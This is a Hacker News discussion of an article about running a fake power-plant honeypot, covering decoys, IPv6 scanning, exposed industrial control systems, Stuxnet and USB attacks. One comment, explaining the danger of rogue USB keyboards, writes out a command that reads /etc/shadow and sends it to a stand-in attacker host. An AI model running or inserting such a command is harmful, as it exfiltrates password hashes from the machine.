[HN Gopher] Running a fake power plant on the internet for a month
       ___________________________________________________________________
        
       Running a fake power plant on the internet for a month
        
       Author : tutfbhuf
       Score  : 350 points
       Date   : 2021-01-16 10:39 UTC (12 hours ago)
        
 (HTM) web link (grimminck.medium.com)
 (TXT) w3m dump (grimminck.medium.com)
        
       | Stierlitz wrote:
       | "One of the concerns .. was the lack of insight into malicious
       | digital (state sponsored) activity towards vital infrastructure."
       | 
       | Have these people ever given consideration to not connecting
       | their vital infrastructure to the Internet. Instead using VPNs
       | running on embedded hardware providing a .. virtual private
       | network.
        
       | lambda_obrien wrote:
       | There are plenty of real power plants connected to the internet
       | today in the form of virtual aggregations of large batteries. In
       | a decade there will be gigawatts of them online, so let's hope
       | those companies take security seriously because it'd be simple to
       | break things with the instant availability of several gigawatts
       | on some circuit.
        
       | gorgoiler wrote:
       | If you run a fake host (honeypot) to waste their resources, won't
       | they run a fake attack to waste your resources? Unless it is a
       | substantial asset, all a honeypot will do is detect a honeypot
       | detector?
       | 
       | When the attack comes from _dhcp-XX-XX-XX-
       | XX.rotation5.pool7.isptelecoms.co.abc_ , you can now determine to
       | block all further attacks from that IP address, but to what
       | positive effect? The next probe will come from somewhere else and
       | just skip over your detector?
        
         | meibo wrote:
         | The point of honeypots is not to block malicious IPs, but to
         | become aware of places in your security concept where more
         | hardening is needed, be it exploits, misconfigured firewalls,
         | etc.
         | 
         | That can be a lot of things, blocking IP ranges can be one of
         | those things if you e.g. only want to allow access to your
         | assets from your building, but that's a general step and not
         | reactionary to attacks.
        
       | ktpsns wrote:
       | Scanning the whole IPv4 Internet goes pretty fast (I think you
       | can do it on a private subscriber line in a few days). What about
       | IPv6? If I "hide" my service in my public /64 network, can I feel
       | safe against IP scanning? That would be some security by
       | obscurity based on the huge address space (similar to changing
       | default TCP ports)
        
         | londons_explore wrote:
         | Any time you connect to a website, you reveal your IPv6
         | address. I can bet there is a market for making lists of valid
         | IPv6 addresses from web logs and selling those lists to people
         | who want to port scan those hosts.
         | 
         | You might even find big carriers mine IP packets to find IP
         | addresses they can sell.
        
         | e2le wrote:
         | Given that a fair few devices will fill-in the "interface" bits
         | of the IPv6 address with their MAC (SLAAC), it might be
         | possible to reduce the number of addresses to scan in an IPv6
         | /64 prefix assuming you know what devices are likely to be used
         | on that network.
         | 
         | It's also very likely your device will be syncing it's clock
         | with an NTP server such as (pool.ntp.org) which can be scraped
         | by running your own stratum 2/3 server and adding yourself to
         | the pool.
         | 
         | https://www.ntppool.org/en/
        
         | vbezhenar wrote:
         | I think that you'll be safe for outside scans. But IPv6 devices
         | usually talk via ICMPv6 inside their subnet, so if there are
         | other guys on your subnet, they might find out your address.
         | That was the case in some VPS hosters that I used, with tcpdump
         | I was able to see addresses of other nodes.
        
         | nisa wrote:
         | while at uni a colleague discovered zmap and scanned 0/0 from
         | the 1gps line for the port of the intel amt management a day
         | after a remote code exec bug was found there. he was just
         | curious but watching the fallout and the angry forwarded mails
         | these days was quite fun...
         | 
         | be careful :)
        
       | SMAAART wrote:
       | I feel like I have worked for fake companies in the past.
        
       | waihtis wrote:
       | I run a honeypot software company, with our customers being mid-
       | large enterprises. While the case presented here is certainly
       | interesting, it's actually fairly uncommon for companies to run
       | internet-facing honeypots, mostly due to it being a huge resource
       | sink, and it's fairly difficult to learn anything truely useful
       | from observing attacks coming from (mostly) bots.
       | 
       | The more interesting use case for most is planting these in your
       | network internals, which gives an added benefit of early, high-
       | fidelity threat detection in addition to the "threat
       | intelligence" bonuses. It's not completely trivial to set up, but
       | can be a reasonably quick way to build good detection capability
       | into even very disparate environments.
       | 
       | A vast majority of organizations still lack good situational
       | awareness of their infrastructures and this is one way of
       | improving on that.
        
         | GordonS wrote:
         | Nice, your software looks pretty polished! Have you published
         | any kind of best practices guides for using decoys, or
         | alternatively are you aware of any other good guides?
         | 
         | I've seen decoys mentioned in infosec Twitter quite a few times
         | recently (I think more about OSS ones), and I'd like to learn
         | more about how they are generally actually used, what the
         | expectations are etc.
        
           | waihtis wrote:
           | We haven't so far..
           | 
           | Mitre SHIELD (shield.mitre.org) lays out the different types
           | of capabilities there are in this domain but doesn't have a
           | lot of practical how-to advice which is what I think you're
           | more after.
           | 
           | If you think it would be helpful I can send you our "product
           | guide" which touches a bit on the decoy best practices. If
           | this sounds useful message me at simo@[the domain in my
           | profile] and I'll send it over.
           | 
           | I might actually write something about it online also, sounds
           | like it could be useful knowledge for many.
        
         | SCHiM wrote:
         | I'm wondering, given how threat actors normally behave when
         | intruding into networks, do you also have honey user
         | credentials in the network?
         | 
         | I don't imagine you're catching many serious attackers just by
         | exposing fake servers vulnerable to MS17 for example.
         | 
         | Could you explain more about your strategies and which types of
         | attackers you can say you'd catch with surety?
        
           | merlinscholz wrote:
           | Internal honeypots as early warning system are called
           | Canaries. Usually they run on a just slightly outdated and
           | vulnerable software version, so that an attacker does not
           | need credentials.
           | 
           | One example would be emulating a forgotten file server with
           | SMB1 enabled. The homepage of Thinkst Canary
           | https://canary.tools/ gives a good overview.
        
             | waihtis wrote:
             | Canaries has been pretty much replaced by decoys as the
             | "official" term, as denoted by the MITRE SHIELD framework:
             | 
             | https://shield.mitre.org/matrix/
        
               | qwantim1 wrote:
               | Canary (in a coal mine) makes more sense to me if the
               | goal is an early warning system.
        
           | waihtis wrote:
           | > I'm wondering, given how threat actors normally behave when
           | intruding into networks, do you also have honey user
           | credentials in the network?
           | 
           | Yes, for some types of honeypots credentials can be useful.
           | Although it bears to keep in mind that the more accessible
           | you make your honeypots, credentials, and other "detection
           | elements", to more you open yourself to false alarms. Some
           | vendors in our space plant credentials to every endpoint and
           | I've heard mostly negative results (legitimate users clicking
           | stuff out of curiousity, which completely destroys the key
           | benefit of using honey/deception things.)
           | 
           | > I don't imagine you're catching many serious attackers just
           | by exposing fake servers vulnerable to MS17 for example.Could
           | you explain more about your strategies and which types of
           | attackers you can say you'd catch with surety?
           | 
           | One use case we suggest is tying your honeypot strategy with
           | your existing internal vulnerability & threat management, in
           | practice for example circulating the types of honeypots you
           | have to reflect acute, high-value vulnerabilities - or for
           | slightly more advanced orgs who are on top of their threat
           | intelligence, they could actively plant honeypots that match
           | asset types threat actors in their industry space have been
           | known to target.
           | 
           | Tie that with creds, integrations and such where applicable
           | and you have a pretty decent palette for catching events that
           | also bear useful and timely security telemetry.
        
             | SCHiM wrote:
             | So say you're in charge at a financial organization, and
             | you're sprinkling fake alliance servers here and there in
             | your network. How is that going to catch an actor like
             | lazerus?
             | 
             | They're not going to scan your service, or attempt to
             | attack it without observing actual workflows of their
             | target's employees. If the employees are not using the
             | honeypots, they won't either.
             | 
             | What strategy do you employ to catch attackers at that
             | level? I'm not critical of honeypots in general. But I
             | would like to know some success stories, since I have not
             | witnessed their success myself, and have a hard time
             | believing they'd help against attackers that have the
             | skills to penetrate otherwise well defended organizations.
        
               | waihtis wrote:
               | Actually in this scenario an alliance server may be a
               | poor asset to replicate specifically because of what you
               | stated - if the attacker is watching the traffic it's
               | easy to spot. The more powerful place would be to be
               | interferring with in the lateral movement stage, since
               | there's bound to be some of that in any given attack.
               | 
               | That being said, it's entirely possible large financial
               | services has both resources & mandate to run something
               | more effective, like build in-house detection suites or
               | use other things that provide a better signal than
               | honeypotting. As said in the original post, it's one way
               | of doing it and depends on your use case whether it's a
               | good one or not.
        
               | SCHiM wrote:
               | Right but that's just it. I've always toyed with the idea
               | of honeypots in my mind. But I'm not sure what type to
               | incorporate into existing security measures.
               | 
               | I primarily deal with big financials and fintechs. The
               | problems they have are very difficult to solve. They are
               | slow, have big legacy processes and tech and combine that
               | with large targets on their backs. The signal to noise
               | ration is very bad, given the amount of users and old
               | weird tech in the network. They need something better
               | than 1000s of "Suspicious file on machine" warnings EDR
               | generates for them. Or "beaconing detected" every time a
               | youtube endpoint changes or something.
               | 
               | They can only tackle one single security measure at a
               | time, because any change is a Big Project given the
               | existing infrastructure, red tape and ways of working.
               | 
               | I always come to the the conclusion that honeypots would
               | not work. The security is good enough to ensure that the
               | threats that do slip past will not make the mistake of
               | scanning the network once inside. They'd probably not
               | even notice there were any honeypots in the network.
               | 
               | To catch them when they're moving in the network you'd
               | need to give them credentials that appear to give them
               | the keys to the kingdom. Perhaps a user present on each
               | machine that appears to be admin on a domain controller
               | that does not exist? That'd be a honeypot server +
               | credential...
        
         | hcrisp wrote:
         | There was a recent WSJ article I submitted recently that
         | details how companies such as Land O' Lakes are doing just that
         | -- honeypots on internal networks.
         | 
         | https://news.ycombinator.com/item?id=25741589
        
           | waihtis wrote:
           | Seems there's a bit of love going around for deception
           | lately, always good to see some implementation stories going
           | mainstream.
        
         | TazeTSchnitzel wrote:
         | A fun example of a honeypot was that placed by Cliff Stoll in
         | 1986 on a computer system at Lawrence Berkeley when trying to
         | get a repeated attacker to stay on the line long enough to be
         | traced, as described in _The Cuckoo 's Egg_ and portrayed in
         | this PBS NOVA recreation:
         | https://www.youtube.com/watch?v=hTx9h3Sm29I
        
           | e12e wrote:
           | Wait, "stay on the line long enough" was an actual thing? I
           | guess that means shorter calls were free, as they could not
           | be documented/invoiced?
        
             | [deleted]
        
             | BenjiWiebe wrote:
             | No, it took time to actually trace the call through the
             | exchange(s) and through the Transatlantic communications
             | satellites. I'd recommend you read the book if you are at
             | all interested, it's great.
        
               | e12e wrote:
               | Interesting. Still wonder how a called could be billed
               | without generating a paper trail that could be used for
               | tracing?
        
               | retrac wrote:
               | They were billed at the outgoing end, handled at the
               | local exchange for the most part. Handled offline until
               | quite late at a lot of them -- think rolls of paper tapes
               | (later magtape) logging calls, to be read in at the
               | billing office at the end of the month.
               | 
               | You'd still have to know which exchange the call was
               | coming from, to track it that way.
        
               | arminiusreturns wrote:
               | Iirc that was one of the ways they finally got Mitnick
               | back in those days.
        
           | davidyliuliu wrote:
           | hahahah the intro of the video is hilarious
        
             | cptskippy wrote:
             | Back in the day if you were watching PBS and saw the WGBH
             | logo you knew it was going to be good.
        
               | cbm-vic-20 wrote:
               | It's also the reason I will never forget the ZIP Code for
               | Allston.
        
         | justinclift wrote:
         | Hopefully one of your honeypots simulates NetBackup. eg the
         | Veritas (was Symantec) software
         | 
         | That should be reasonably easy to simulate, and (I'm guessing)
         | Netbackup infrastructure would be significantly interesting to
         | any hacker once they've popped an org.
        
           | waihtis wrote:
           | To be frank I haven't heard of such scenarios from any direct
           | sources. If you're thinking ransomware here then it's usually
           | fairly automated and takes a shotgun approach for
           | propagation, and trying to extend your breach to also
           | manipulate any potential backup software would significantly
           | increase the cost of the attack.
           | 
           | That being said - I could easily see this as a future trend
           | (targeting backups) and it is not remotely a bad idea.
        
             | justinclift wrote:
             | Ahhhh. Hadn't thought of the ransomware aspect at all, but
             | it's a good point. ;)
             | 
             | With NetBackup (and probably other "Enterprise Backup"
             | software too) the NetBackup master servers have ~root level
             | access to pretty much _every_ server in an Enterprise. Or
             | at least, every server being backed up. Which is likely to
             | be _everything important_. ;)
             | 
             | NetBackup master servers also have the capability to run
             | commands (as root) remotely on systems-they-back-up, and
             | have those commands not be logged by the auditing on the
             | systems (or anywhere really).
             | 
             | To my mind, that seems like a handy thing for hackers to
             | target. ;)
        
               | waihtis wrote:
               | I get a feeling this could be the next Solarwinds..
        
         | wwv25 wrote:
         | Did you plant internally to detect malicious actors from within
         | the organization or as a way to definitively detect external
         | actors who have presumably entered the network through an
         | exploit?
        
           | faeyanpiraat wrote:
           | Why not both?
        
             | mosselman wrote:
             | You are probably right, but 'both' is the easy answer I'd
             | think.
             | 
             | The question really was what the intention is, not the
             | effect.
             | 
             | Catching attacks from within the organisation might just be
             | a side-effect of catching remote hackers for example. The
             | effect is then 'both', but the intention is the latter.
             | 
             | Why the question deserves a better answer than "why not
             | both" is that the reasoning behind using internal honeypots
             | is interesting. Which arguments speak for it, which
             | against.
             | 
             | So let's not kill this question thread with a too shallow
             | answer.
        
           | waihtis wrote:
           | Both are viable. It depends a bit on industry; pharma
           | companies, say, are quite concerned about internal threats
           | whereas financial and retail are more likely targets of
           | external actors.
           | 
           | You do need to consider the type of honeypot used - asking
           | the question "what is the goal the adversary has" is a good
           | question to ask and optimizing you honeypots based on that is
           | a smart thing. An internal threat is going to look for
           | specific types of assets, and you need to build honeypots (or
           | decoys, as the modern lingo calls them) that look like those
           | assets.
        
       | AdrianB1 wrote:
       | At work I have access to servers controlling dozens of
       | manufacturing plants around the world. All the PLCs and the
       | control equipment are behind a local firewall with very strict
       | controlled inbound addresses; that means I cannot interact with
       | it from my computer, only from the server that is collecting and
       | archiving data. This setup is approximately the standard in the
       | industry, there are a small number of solutions everyone is using
       | and the implementation guidelines are very clear and easy to
       | follow. That makes any honeypot an obvious honeypot because there
       | is no such thing as a PLC accessible from Internet in a real
       | production site.
        
         | acct776 wrote:
         | Would you post an email in your profile? I'd love to get in
         | touch!
        
         | rm445 wrote:
         | > there is no such thing as a PLC accessible from Internet in a
         | real production site.
         | 
         | That is so massively optimistic. I don't doubt you know your
         | stuff, but manufacturing is a huge field, widely distributed,
         | it is done by small companies as well as large ones, and
         | specifying and purchasing a PLC system can be done to satisfy
         | operational needs without necessarily having suitable network
         | infrastructure and security expertise. The number of PLCs
         | "accessible from Internet in a real production site" is
         | probably in the thousands.
        
           | AdrianB1 wrote:
           | Smaller companies take shortcuts, that is true, but not a
           | nuclear power plant like the bait used in the article.
           | Smaller companies also do less damage when they are hacked.
        
             | achillean wrote:
             | There are most definitely production systems connected to
             | the Internet. And the advice given by vendors ranges
             | dramatically:
             | 
             | https://twitter.com/achillean/status/559124740611506178/pho
             | t...
             | 
             | It's definitely gotten significantly better the past 5+
             | years. And yes, it's extremely rare for something as a
             | nuclear power plant to be on the Internet.
        
         | mercora wrote:
         | that will just move the target of those attacks to these
         | servers (or now yourself who stated to have access to these)
         | with apparently a lot more rewarding outcomes too.
        
           | AdrianB1 wrote:
           | Correct, but the servers are not published to Internet
           | either, there is no reason to ever do that. Cracking the VPN
           | to get to the company intranet, that is a different story.
        
       | [deleted]
        
       | some_random wrote:
       | This is interesting, but like most honeypot discussion kinda
       | melodramatic. They got scanned by a bunch of known internet
       | scanners, and a few mysteries including a "store that sells
       | weaponry" (which turns out to just be scopes and red dots -_-).
       | It's always good to people reporting that they discovered
       | nothing, but it is a bit boring.
        
       | stefan_ wrote:
       | So all the traffic is various indexing companies and none of them
       | made an effort to contact the author? What if, you know, the guys
       | pretending to be good are actually just baddies selling out?
        
       | binarysneaker wrote:
       | Would be interested in a follow up article, especially if it
       | baited more activity. The conclusion is woefully short, and I
       | could speculate on some of the results, particularly the activity
       | from the .tw domain. More investigation welcome.
        
       | secfirstmd wrote:
       | For anyone looking to experiment with honeypots TPOT is awesome.
       | They've really done a great job of building a simple, well
       | presented and fairly stable tool that pulls together a lot of
       | honeypots into the one place. A sophisticated attacker can
       | usually detect it but it's very good and easy to setup all the
       | same. You really need to run it on 16gb RAM if you are using the
       | full thing.
       | 
       | It's very interesting the results you see depending on where you
       | put it (internal/external etc). Pretty quickly you get a decent
       | sense of the pulse of the internet - XYZ is spreading, ABC range
       | is compromised etc. Though you also get heaps of data so you need
       | to find ways to really drill down also.
       | 
       | https://github.com/telekom-security/tpotce
        
       | jakespracher wrote:
       | FWIW I interned at a US nuclear plant. They intentionally don't
       | upgrade to digital systems for fear of being hacked, everything
       | in the plant was analog when I was there 6 years ago.
        
         | deepstack wrote:
         | Good for them! _These vary from simple "smart" light switches,
         | to machinery used in industrial plants_
         | 
         | This line makes me cringe. Current IT infrastructure are just
         | NOT secure. Until the major IT tech companies and nation state
         | can prove otherwise, important machineries, especially nuclear
         | ought to be kept off internet and digital system.
        
         | beckingz wrote:
         | Getting replacements for some of those older parts is hard!
        
       | papaf wrote:
       | It seems obvious not to connect a power plant to the internet but
       | there have also been of attacks against "air gapped" systems:
       | https://www.reuters.com/article/cybersecurity-powerplants-id...
       | 
       | Edit. There is also a more in depth Scientific American article.
       | Search for "Hacking the Lights Out".
        
         | cmrx64 wrote:
         | i learned to my displeasure that thick manuals are sometimes
         | distributed with products as USB sticks these days, i
         | immediately thought of this when i opened up an inverter box
         | and saw a USB stick sitting there
        
           | implements wrote:
           | Some home broadband routers have a NAS-like ability to mount
           | USB sticks as a SAMBA share - I use a spare one for iffy
           | sticks on the assumption they're unlikely to come ready to
           | compromise some random non-PC embedded OS.
        
             | ChrisMarshallNY wrote:
             | That's a great idea!
             | 
             | I would suspect that maybe setting up a Linux box on an old
             | unit might be a similar exercise.
        
           | krisoft wrote:
           | I understand that not sticking USB sticks into sensitive
           | systems is the prudent conservative security choice.
           | 
           | The "silly users picking up USB sticks dropped in the parking
           | lot" is a basically a security trope nowadays. But I feel
           | there should be some blame associated with our operating
           | systems too. Like why is this an axiom that if you use an
           | untrusted USB stick you are going to get eaten by the Grue?
           | 
           | If an Os would say "sorry bad people got into your network,
           | your computer is now owned by them" that would be an
           | unacceptable security vulnerability, why is the equivalent
           | accepted as a fact of life with "bad usb sticks"?
           | 
           | I understand the OS cant do much with a usb device which
           | burns out the motherboard with an electric shock. But there
           | is a whole set of other things it should reasonably protect
           | itself from.
        
             | verteu wrote:
             | My understanding is that the OS can't differentiate a
             | malicious USB stick from a USB keyboard.
             | 
             | In particular, the keyboard could be typing "sudo cat
             | /etc/shadow | telnet bad.com 80"...
        
               | krisoft wrote:
               | I was thinking about that. What the OS could do is to ask
               | for confirmation on the second keyboard. It could be
               | something as simple as "Looks like you connected a
               | secondary keyboard. Please type in the following random 3
               | numbers before it becomes active."
               | 
               | If on boot it finds two keyboards it can do the same with
               | both.
        
               | ChrisMarshallNY wrote:
               | _> Please type in the following random 3 numbers before
               | it becomes active._
               | 
               | Mac OS does something like this. If, say, I attach (via
               | either USB or Bluetooth), a presentation remote, I'll get
               | a keyboard identifier alert.
               | 
               | It isn't really anything more than an alert, though,
               | because I can ignore the ID step, and it still works.
        
               | alisonkisk wrote:
               | It's more of a systemic problem. We don't have this
               | problem with bluetooth or wifi because it uses encryption
               | and individual keys. But usb is unencrypted with no
               | secure identification mechanism.
        
               | Verdex wrote:
               | Appearently the os can't differentiate between any USB
               | devices.
               | 
               | I saw a great video years ago (which I haven't been able
               | to locate for years) that went into detail as to how you
               | can basically make a custom usb device arbitrarily
               | malicious. The trick that sounded particularly good was
               | that you can impersonate a usb device that requests a
               | driver that has a known security vulnerability.
               | 
               | Fun times.
        
               | quesera wrote:
               | Yep, the issue is that the host OS has no way to verify
               | the identity of the USB device. It has to believe
               | whatever the device claims. Something that looks like a
               | charging cable might actually "be" a 1990s-era Wacom
               | tablet with crappy drivers, which also charges your
               | phone.
               | 
               | The only protection is to restrict what types of devices
               | are allowed to connect. The kernel is not obligated to
               | recognize any device that you attach (though of course
               | most users will expect it to do so!). And of course some
               | host OSes make such restrictions difficult or impossible.
        
         | deepstack wrote:
         | Digital system are just not mature and harden enough for
         | security. Seems like we need to harden them on the software and
         | hardware level before they can be trusted for driving car and
         | other machinery stuff.
        
         | netflixandkill wrote:
         | Almost every power plant is effectively internet connected even
         | if it has old control equipment that predates IP as the vast
         | majority of SCADA systems have IP connected HMIs or other core
         | components.
         | 
         | There may be steps involved in getting your RDP exploit to send
         | commands over vendor proprietary RS-485 protocols, but except
         | for certain nuclear plants that are truly air gapped, but it's
         | fewer than you'd sleep soundly knowing about.
         | 
         | I once had a network admin at a major US transmission utility
         | tell me with a straight face that all of their SCADA was pure
         | serial as I was telnetting into the Zhone mux doing those
         | serial channels via a WiFi connection.
        
           | akg_67 wrote:
           | In 1990s, When I worked with process control systems,
           | primarily DCS, for petrochemicals, beverages, and other
           | chemical plants, we had phone modems connected to our
           | systems. Only precaution was that modems were not connected
           | to phone port unless someone needed remote access and were
           | disconnected after use.
           | 
           | Actually, we used to computer simulate operations of facility
           | to test our DCS systems against.
        
           | wyager wrote:
           | I was once talking to an industrial automation engineer at a
           | huge and strategically relevant US industrial group (they
           | made aluminum parts or something, and their direct customers
           | included aircraft manufacturers and military) and he was
           | proudly telling me how they patched raspberry pis into their
           | industrial control systems so they could administer things
           | remotely. It wasn't super confidence inspiring.
        
           | weaksauce wrote:
           | yeah, having actually worked with plcs in industrial control
           | systems... the security is, ahem, lacking for the most part.
           | not that my work was with high security process control but
           | I'd say it's fundamentally lacking for the most part as the
           | state of the art is not that great.
        
         | merlinscholz wrote:
         | The book Sandworm by Andy Greenberg also goes a little into
         | depth about attacking powerplants and other industrial control
         | systems. Can highly recommend!
        
           | fbi-director wrote:
           | Seconded!
        
           | secfirstmd wrote:
           | Yep it's great. Countdown to Zeroday by Kim Setter about
           | Stuxnet is awesome also.
        
             | Debug_Overload wrote:
             | The book is amazing! The technical analysis by Symantec [1]
             | also makes for a very good complementary read.
             | 
             | [1] [PDF] https://www.wired.com/images_blogs/threatlevel/20
             | 10/11/w32_s...
        
               | secfirstmd wrote:
               | Yeh I've given it to techies and non-techies as it's very
               | readable and suits both audiences.
        
             | merlinscholz wrote:
             | Coincidentally, I just ordered this book seconds ago. I've
             | also heard only good things about it!
        
           | hutzlibu wrote:
           | "attacking powerplants and other industrial control systems.
           | Can highly recommend!"
           | 
           | Sounds fun, but please not in my neighbourhood ..
        
             | wongarsu wrote:
             | Power grids are typically only designed to tollerate one or
             | two major faults at once, so if you mess with enough
             | powerplants at the same time you might be able to trigger a
             | failure that cascades through the entire powergrid. In the
             | 2006 European Blackout [1] a single poorly executed line
             | cut led to a cascading failure that left 10 million people
             | over 5 countries without power for two hours.
             | 
             | So better stay a couple countries away from me with
             | experiments. Or maybe don't, better a benevolent chaos
             | monkey than being hit unprepared by your enemy.
             | 
             | 1: https://en.wikipedia.org/wiki/2006_European_blackout
        
               | hutzlibu wrote:
               | I suppose with the state-level hacking of the powergrid
               | is, most can do it, but won't because the enemy can do
               | so, too. So like the nuclear standoff. Nobody uses it,
               | because the enemy can wreck your shit, too.
               | 
               | But the whole grid needs a rework. Also because of
               | renewables and batteries etc. To better react do changing
               | demand and enable a free market, where it is easy to buy
               | and sell power.
        
               | turminal wrote:
               | A similar thing almost happened recently because of a
               | Romanian power plant. And there was also an incident in
               | Kosovo a few years ago that caused a slight frequency
               | decrease that caused all sorts of problems.
        
         | hutzlibu wrote:
         | Ok, but the attack on the air gapped system was simply via a
         | infected USB stick.
         | 
         | There are more interesting ways, to do it:
         | 
         | https://hackaday.com/2017/02/02/hacking-the-aether/
        
         | zwog wrote:
         | Stuxnet[0] for example. A highly sophisticated attack using
         | several Windows 0-day exploits and infecting USB Flash drives
         | to get to a air gapped Notebook that is used to program PLCs.
         | 
         | 0: https://en.wikipedia.org/wiki/Stuxnet
        
           | Hickfang wrote:
           | > Stuxnet[0] for example. A highly sophisticated attack using
           | several Windows 0-day exploits
           | 
           | Nobody in their right minds uses windows to control vital
           | industrial plant, especially nuclear centrifuges.
        
       | collsni wrote:
       | Yes because a nuclear power plant would have a plc Nat'd to the
       | internet. Multi-million dollar budget, we'll just NAT the plc so
       | joe can work from home.
        
       | ourlordcaffeine wrote:
       | Several power plants in the uk have their control systems
       | entirely open on the net. No authentication or encryption, you
       | just need to know the IP address
        
         | eli wrote:
         | I don't believe it
        
           | berkes wrote:
           | Having worked at a power-plant and a pumping station, I can
           | believe it.
           | 
           | Such places will be left open now and again. Mistakes happen.
           | Anything from "ABB needs the telemetry but cannot visit the
           | site in person due to covid, can you open the firewall on
           | port 1337 when they call you". Sure. (and then forgets). Some
           | engineer left a dongle in a controller, during an emergency a
           | laptop logs on on the network that is not properly secured
           | etc.
           | 
           | What I don't believe is that OP never reported it. Because
           | such places will have protocols and will fix it the moment
           | someone calls. And if they don't have protocols, they will
           | have them by the end of the week. Edit: so what I also don't
           | believe is that OP is certain they _are still wide open_.
        
             | ourlordcaffeine wrote:
             | Told them ages ago, they haven't fixed it and don't seem to
             | care. They want to be able to operate the turbines remotely
             | and either don't care or don't understand the need for
             | authentication.
             | 
             | Should add that these plants aren't big enough to cause a
             | blackout if they are hacked, the only losers will be the
             | owners.
        
         | hyper_reality wrote:
         | How do you know these aren't honeypots?
        
           | ourlordcaffeine wrote:
           | I work in the industry. I know what power plants they are
        
         | mercora wrote:
         | why wont you report them? is nobody interested in securing
         | these?
        
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